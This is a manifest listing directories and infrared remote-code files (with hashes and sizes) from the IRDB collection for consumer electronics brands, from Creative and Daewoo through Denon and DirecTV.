+D:infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218 +F:fd3fbfc9208a55ef021a703dd60c62e2:2888:infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir +D:infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100 +D:infrared/_CSV-IRDB_/Creative/Unknown_INFRA +D:infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3 +D:infrared/_CSV-IRDB_/Creative/Unknown_RM-1500 +D:infrared/_CSV-IRDB_/Creative/Unknown_RM-1800 +D:infrared/_CSV-IRDB_/Creative/Unknown_RM-850 +D:infrared/_CSV-IRDB_/Creative/Unknown_RM900 +D:infrared/_CSV-IRDB_/Creative/Unknown_rm1000w +F:0651b87970cb1be6353e1b36a24d63d6:1668:infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir +F:bfd80b73d846115d0054947a4e41adfd:2308:infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir +F:1c856f318008b65b9e260b950022818a:821:infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir +F:f91cbeb878da3949567a61e14ad42df7:3149:infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir +F:5e6bac66d1db0977de58b33bb59703fe:4235:infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir +F:aef13190b68bc4dd307e0572ca6b4865:2369:infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir +F:703cd743f1df7397bcca5c0870eb51e1:5609:infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir +F:46c5916fed320a12466f604cc950f919:3244:infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir +D:infrared/_CSV-IRDB_/Crestron/IR Receiver +D:infrared/_CSV-IRDB_/Crestron/Lighting Controller +D:infrared/_CSV-IRDB_/Crestron/Music Server +F:f25bdfce2e614c7601d4eb3bad4b079f:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir +F:aa4f777da67a04a0859466dbb7c7b642:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir +F:aa634618aa34924359acf13252788739:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir +F:c67c638e90d6cd8f1077f0c2cb7e18f6:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir +F:a69c25bdbc98f8bb304a0d604922df50:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir +F:e9e50a6a71518649f0c2ae3737cb0f8e:778:infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir +F:d0c13314886d47b26f2d581ec38907be:3661:infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir +D:infrared/_CSV-IRDB_/Crown/Unknown_cd-80 +D:infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config +F:52dfa6a07ff6b3637ba29df061eb9601:1547:infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir +F:c506169a903c45cddd85667c5f23b7a3:3877:infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir +D:infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV +F:af86571c6c051afc267fcb43df72cd6b:3589:infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir +D:infrared/_CSV-IRDB_/Curtis Mathes/VCR +F:d21ad91925d5b41682b13bd9d81947b0:2501:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir +F:e6b51d69d9c699ec42cedbfaa135d999:1046:infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir +D:infrared/_CSV-IRDB_/Cyberhome/DVD Player +D:infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z +D:infrared/_CSV-IRDB_/Cyberhome/Unknown_504 +D:infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528 +D:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD +D:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302 +D:infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome +F:57a0cfcbd545ba812b029901bc1d25a9:3732:infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir +F:54c0f6c823155ebd6432c2b4ecbfa115:4216:infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir +F:b340e7e2e4dc842fb4afc563a8a4dff7:4198:infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir +F:b4204618306b653aaf4f5d0604562c6b:4197:infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir +F:3b2ed156570ff9ab786dcd22ac1caff5:4057:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir +F:0635189f93c80e5371e09a5802f04c78:4183:infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir +F:7aeaf27292ef9ba06f6e37101f9c7581:2394:infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir +D:infrared/_CSV-IRDB_/Cypress/Unknown_CR-72 +F:ca0fed11b39ab8fd75d20d662f2eef84:503:infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir +D:infrared/_CSV-IRDB_/Cyron/Lighting Controller +F:c312931803660112ad02d4ff22039c90:2881:infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir +D:infrared/_CSV-IRDB_/D-LINK/MP3 Player +D:infrared/_CSV-IRDB_/D-LINK/Media Center +D:infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320 +D:infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye +F:c3bdd2756dcfdff15645d090ca52fa65:3041:infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir +F:a7fa65c8dd7f1bafd80050c6d2af7a46:3562:infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir +F:af49b5e1d93d207705e028abbd6f7dca:3900:infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir +F:dc04ba284efbd29ac4f098e44778311b:3698:infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir +F:072b952ede49fae5abccc5edab7809a4:4138:infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir +F:4be89979a3fc1de0860c931d1dad5ecf:2327:infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir +D:infrared/_CSV-IRDB_/DBPower/Projector_T20 +F:62a772d3453bd8ed3d3d6065fad0f906:1151:infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir +D:infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S +F:e0b7e2857c559e12d68a83164c7b10ba:4463:infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir +D:infrared/_CSV-IRDB_/DK Digital/DVD Player +D:infrared/_CSV-IRDB_/DK Digital/Unknown_Digital +F:5f058b4049e43808484fe4c31a3d98a0:3151:infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir +F:60cd8a0af96a7ea0ca08b22e8d3593d8:4495:infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir +D:infrared/_CSV-IRDB_/DLO/HomeDock +F:00e6437397176431fd4b35c57363ecae:4075:infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir +D:infrared/_CSV-IRDB_/DSE/Unknown_G1605 +D:infrared/_CSV-IRDB_/DSE/Unknown_G1928 +D:infrared/_CSV-IRDB_/DSE/Unknown_G7659 +F:5eee0002e5db84aca8e080129abe3bf9:3159:infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir +F:28cd8c8b0ac7f6d370cef1f1274158db:4657:infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir +F:b530dcece05bd9734d93257b809a92eb:3088:infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir +D:infrared/_CSV-IRDB_/DVDO/Scaler +D:infrared/_CSV-IRDB_/DVDO/Video Processor +F:eab62481a69577c4812249d1ce5c0d12:126:infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir +F:4f9a053bd298bcc4905bcbbefcabaac2:8997:infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir +F:eab62481a69577c4812249d1ce5c0d12:126:infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir +F:281805436aa52baef369ddd1350b8296:3919:infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir +D:infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote +F:ca80a82f2d0864785fe568f09ded4712:4292:infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir +D:infrared/_CSV-IRDB_/Da Lite/Screen +F:a09cb28bb258d02187c70ce4de5ec5b6:310:infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir +D:infrared/_CSV-IRDB_/Daeumling/Unknown_SR200 +F:dbec03e9f39485f25064863434dd2eff:1894:infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir +D:infrared/_CSV-IRDB_/Daewoo/DVD Player +D:infrared/_CSV-IRDB_/Daewoo/TV +D:infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO +D:infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P +D:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D +D:infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08 +D:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR +D:infrared/_CSV-IRDB_/Daewoo/Unknown_Visa +D:infrared/_CSV-IRDB_/Daewoo/Unknown_r-22 +D:infrared/_CSV-IRDB_/Daewoo/VCR +F:714ce02e0a0ea712ee996dd8923a17b8:4016:infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir +F:74e53633d2f103fea724a6d1279d6327:936:infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir +F:73506c218739786afb91ff83d4ffa76a:242:infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir +F:ebc32aa08b0857ea0bbed4ad7fb87269:242:infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir +F:f3970becdf758c641115a4a231a5978d:2578:infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir +F:7c5b748044bc56447fedfcfb2e23672c:3386:infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir +F:3c51f6fed4aca07c089821e9d8d95e36:4086:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir +F:87f8efad70cb03c40810227c956296f9:2671:infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir +F:0a4a84227d8f9e500599f7c156fa7929:2560:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir +F:4090278ed6db65bb0c8ac44b92752a98:3560:infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir +F:3557bc86f987d3fa51f9eff6e6fe14f8:2860:infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir +F:b2c48a1316b3aced4fc983a92ae5061b:4690:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir +F:e2df497606edb76a2121ccdc26e702a2:3547:infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir +F:0eaf9658efd863e7951afd623f2220a8:4122:infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir +F:178946dfa505020a32aca4762aa17b6c:2470:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir +F:6a3dd871cdc0a1f4fa98e60cd965cb6c:2297:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir +F:a46da720f7d5006c0608bc5345951cd0:1474:infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir +F:01f22e25dccb342402513038c4f37cd9:2020:infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir +F:2e88795fdaef14cc1dbddcbadc7cac06:3292:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir +F:fabe38c3f3a688673d1c3d1b95eea2e5:2938:infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir +F:e2a4ceb93076ea397c4c098dd329eb9d:3739:infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir +F:f55b39686ea013587e16cd4881b58ed3:3249:infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir +F:e5aec345fb32d05eee47af0fbba210c7:3263:infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir +D:infrared/_CSV-IRDB_/Dantax/DVD Player +D:infrared/_CSV-IRDB_/Dantax/Unknown_RC +F:1711ff15b4283552a9b945c698d33ff2:4002:infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir +F:abf1239e3196735c96dd574e573e2a20:4396:infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir +D:infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher +F:664c41e893026428802b682b675d5a06:3868:infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir +D:infrared/_CSV-IRDB_/Dell/TV +D:infrared/_CSV-IRDB_/Dell/Unknown_XPS +D:infrared/_CSV-IRDB_/Dell/Video Projector +F:8bb1f9e9cd7657cb06f8d8cd96da1c79:3312:infrared/_CSV-IRDB_/Dell/TV/0,28.ir +F:32f4750cb4ceef00b4270e3ecc4bda2f:1685:infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir +F:a5cd27ba8c9f6a7caecfc9100b30eef9:2803:infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir +D:infrared/_CSV-IRDB_/Delphi/Satellite Receiver +F:e98bbb53fde7ac9ae84737f248c26fa8:4501:infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir +D:infrared/_CSV-IRDB_/Denon/AV Processor +D:infrared/_CSV-IRDB_/Denon/Amplifier +D:infrared/_CSV-IRDB_/Denon/Blu-Ray +D:infrared/_CSV-IRDB_/Denon/CD Jukebox +D:infrared/_CSV-IRDB_/Denon/CD Player +D:infrared/_CSV-IRDB_/Denon/CD Receiver +D:infrared/_CSV-IRDB_/Denon/Cassette Tape +D:infrared/_CSV-IRDB_/Denon/DAT +D:infrared/_CSV-IRDB_/Denon/DVD Player +D:infrared/_CSV-IRDB_/Denon/Laser Disc +D:infrared/_CSV-IRDB_/Denon/Mini-Disc +D:infrared/_CSV-IRDB_/Denon/Pre-Amplifier +D:infrared/_CSV-IRDB_/Denon/Processor +D:infrared/_CSV-IRDB_/Denon/Receiver +D:infrared/_CSV-IRDB_/Denon/Tuner +D:infrared/_CSV-IRDB_/Denon/Unknown +D:infrared/_CSV-IRDB_/Denon/Unknown_Denon +D:infrared/_CSV-IRDB_/Denon/Unknown_RC-220 +D:infrared/_CSV-IRDB_/Denon/Unknown_RC-224 +D:infrared/_CSV-IRDB_/Denon/Unknown_RC-241 +D:infrared/_CSV-IRDB_/Denon/Unknown_RC-541 +D:infrared/_CSV-IRDB_/Denon/Unknown_RC-861 +D:infrared/_CSV-IRDB_/Denon/Unknown_RC267 +D:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251 +D:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266 +F:1f015616f6264f024b26c1c7730849e1:1711:infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir +F:3585e7b7a877f4b78e36855e4f845252:2610:infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir +F:758ac6c139a4fa41ab570e505f56829d:235:infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir +F:f14461d53d5f0855cb0d35a1d7ff2db5:3808:infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir +F:c44180c92e87664efa3ff7def3631a20:9558:infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir +F:c3b0932b5e946f7a55a030d06d819840:3675:infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir +F:c8b25c96bb010588a63eacdc67eb2bb6:1704:infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir +F:19bfb5fe0b7ec5fc56755e695b153fc5:2158:infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir +F:bb27cb683ede842d6d06837a756889f1:4307:infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir +F:7320cad84f12442fa56633d1d2245bf6:707:infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir +F:23d687c0622225203364989628c3027f:5309:infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir +F:16bb9fb5d538fb22aa872541f9c5edac:3496:infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir +F:0b6022abc51c37cb4f2d24ce93762ea2:213:infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir +F:7320cad84f12442fa56633d1d2245bf6:707:infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir +F:12cddd513926d7664601e853bc25cf1d:4035:infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir +F:e99f3c41d39c9b664f016d0126827b58:15042:infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir +F:dd92416ad92545006658131c1181ee3e:1564:infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir +F:0434570db6fc453217d22e30fe224aa8:237:infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir +F:4a1673c37eb0170b229e176c954544b8:247:infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir +F:0365b573de5e0b405b419599ee2a23de:3309:infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir +F:d2efd9204cca2b13606e51f547c42e00:1538:infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir +F:2993e2166f22dd66b93a7c1b12d75f2c:614:infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir +F:144e4fa2f05e9340b042dffc21f6b87e:2890:infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir +F:f22ec2bc00a1d01ac89de977d9018532:627:infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir +F:9c570adc69177b9e5ee76deb7d8b0938:3012:infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir +F:91b05ce68b869ed4e963cf3111f491bc:7521:infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir +F:7b20ec4635cabff370caa0066ac77ab7:127:infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir +F:d1c02150e66ec60aa8c8083af81fd1e8:2390:infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir +F:b50206d0414455aed72847b72758fc9b:998:infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir +F:20183928e2969149f8fc4337dec2ec93:1897:infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir +F:729357794d7c287ea1348bd492fc4906:16821:infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir +F:9ed46f2e2718cd1e2a2323920ff084dc:4226:infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir +F:c773e51a71ee59d62d7f96ce30b4fae2:3146:infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir +F:f3f62efa006757a0995e849f8ae49dac:1314:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir +F:9409118d3c113350e81a61ffffe0d9c6:1331:infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir +F:1f3be924a78d2dd1b546d9dd9f4508be:3367:infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir +F:c2470311e5b37c7af1acf3690b9d678a:6309:infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir +F:5bbf70a9a6b8bb863f3f24ef2417c2b8:729:infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir +F:e1bd00b5acd4f5cd5746a2af3ebb3992:427:infrared/_CSV-IRDB_/Denon/Processor/4,1.ir +F:9100ec954350ebccd296506dad5b8460:137:infrared/_CSV-IRDB_/Denon/Processor/4,3.ir +F:3d44b74d8307b3f5ed5064e380aa89fc:137:infrared/_CSV-IRDB_/Denon/Processor/4,5.ir +F:34abd57717e626d41ed90d4c4ee0c4f3:13578:infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir +F:ff6a1a39c2fe414d948537c3794dc484:10442:infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir +F:6071b624d187c740e50bab74add1d6dc:4033:infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir +F:22747d0cd0b0266e1d9a5784b803ec0a:5454:infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir +F:6be87595b87d47855e8a00b1cd177f5b:20780:infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir +F:3ba68b1bf95f2ac3307d53f1ec0324ea:2984:infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir +F:aae24b69c34da66f930a66d49baaa8d7:14452:infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir +F:75d952bf01f0d576ecd80ea15f844b53:4373:infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir +F:e1ff55fac105f5fa07de8867df8a52de:9818:infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir +F:1bdca3b852d2b58b072e1c2b1e1be7cc:2337:infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir +F:70106f2b39adc7f1e9db530f507edbcd:2817:infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir +F:4c9773af8d8f2f17ee0ebe1ae72fddea:2795:infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir +F:64e05d06e8c8af87fbdfb4d2c219a2f3:5973:infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir +F:f7793c392d6b25eb52c770a0a82a3edb:3978:infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir +F:5a38bc42b4a99d313915a9b131f11241:3891:infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir +F:78f40e5b1386024d0491d62e6865760a:9959:infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir +F:43da937e93cc8ce0900fd93292ce0ee7:674:infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir +F:47e681a1def013c97c6937ea93a85963:986:infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir +F:e49068e6af56f56adcae0697dc63a264:141:infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir +F:cb7156ffbf20c88725bf5b032592b8ba:5276:infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir +F:9409118d3c113350e81a61ffffe0d9c6:1331:infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir +F:3d58baca1256eaf6c13ba8a4925b4b99:3555:infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir +F:0414282bd9f64c476bffba3b2982f3c1:3442:infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir +F:0a8d020bf0bfd458b457236db49103ce:2491:infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir +F:4433f1706336bf1cfcac1490376182e2:2499:infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir +F:a4b1f6ac93dd48c7c207ef42e2ee40f9:2574:infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir +F:f9bcac36aaa8c9bc8449ed4baedeaa81:3726:infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir +F:5cef9ce5bb39d31112148ba6164e8792:5213:infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir +F:355d60f6608887e84b0361d4997e8a48:2964:infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir +F:f2f25286271aa8e37b080147d9020038:3434:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir +F:64ac1a82b61a29c79aa96d8c7d9cda69:3616:infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir +D:infrared/_CSV-IRDB_/Denver/Unknown_DVD-228 +F:1747b13639238598a7de4a99be2883ff:4282:infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir +D:infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T +D:infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T +D:infrared/_CSV-IRDB_/Digiquest/DVB-T +F:c6942d3bd524cf6804da0f35ce90aaaf:3945:infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir +F:aad3956aa7a07f74c2cac67e05c1882d:3837:infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir +F:9de93a2ea8442b4f63bd269430dd820e:3197:infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir +D:infrared/_CSV-IRDB_/Digital Music Expres/DMX +F:1fb1f9cb7b9bd99ad7f0e1b86a1bd507:2073:infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir +D:infrared/_CSV-IRDB_/Digital Projection/Projector +D:infrared/_CSV-IRDB_/Digital Projection/Video Projector +D:infrared/_CSV-IRDB_/Digital Projection/Video Scaler +F:6e865a83a8b6ce487ed471d6315941fe:4223:infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir +F:0e94b6155235f9dee11467203b0791fd:7097:infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir +F:ba5568b3a6e1ac41ffa9c15b8d8ef123:2460:infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir +D:infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner +D:infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream +F:aea335a7e7e0f64f6c5998c4512ac368:3276:infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir +F:ec399e2769a7aff95d63dd322b252c3c:3072:infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir +D:infrared/_CSV-IRDB_/DigitalView/HDTV Tuner +F:06d3e881f2341a2f51ea46d6e11b66df:3048:infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir +D:infrared/_CSV-IRDB_/DirecTV/Basic Satellite +D:infrared/_CSV-IRDB_/DirecTV/DSS +D:infrared/_CSV-IRDB_/DirecTV/DVR +D:infrared/_CSV-IRDB_/DirecTV/HDTV Tuner +D:infrared/_CSV-IRDB_/DirecTV/Receiver HD +D:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR +D:infrared/_CSV-IRDB_/DirecTV/Receiver SD +D:infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR +D:infrared/_CSV-IRDB_/DirecTV/Satellite +D:infrared/_CSV-IRDB_/DirecTV/Unknown +D:infrared/_CSV-IRDB_/DirecTV/Unknown_G051204 +D:infrared/_CSV-IRDB_/DirecTV/Unknown_H23 +D:infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100 +D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC16 +D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC32 +D:infrared/_CSV-IRDB_/DirecTV/Unknown_RC64 +F:437e6481eef7051b3ebd2401be6d2085:3836:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir +F:d250e630c69a5122a7fd39eae0017214:2328:infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir +F:67d138632c20a1719a817f17d5f1a3cc:4913:infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir +F:444dc1d6b41cd31b43e4005c0827cd75:6713:infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir +F:85fe3b76c827d295c72d79ababd318a7:3343:infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir +F:7cf8687314bd7a2407bedbce8d2ce7bb:6201:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir +F:9d21165254e4a6d62c995c19615a8317:230:infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir +F:c0a450a1f96ef41f63299b641b9395c0:4029:infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir +F:206b511f0c4eda51db6afe03fee18e19:7880:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir +F:665fe08f92d464dbdc2810b1a0c176fe:3888:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir +F:7226833293b0dd1857c39570c09a2a8f:4495:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir +F:b53021396453170174ee54c91388c8c6:4403:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir +F:117f534256d5112dc4682f86a9730c32:474:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir +F:109460479d3a81fdd66c584148eaee66:213:infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir +F:9911f4bc79d51a75bdab5a952460eb69:3876:infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir +F:904129ea6ecc4e9384a2c33a4e3e1ecb:3881:infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir 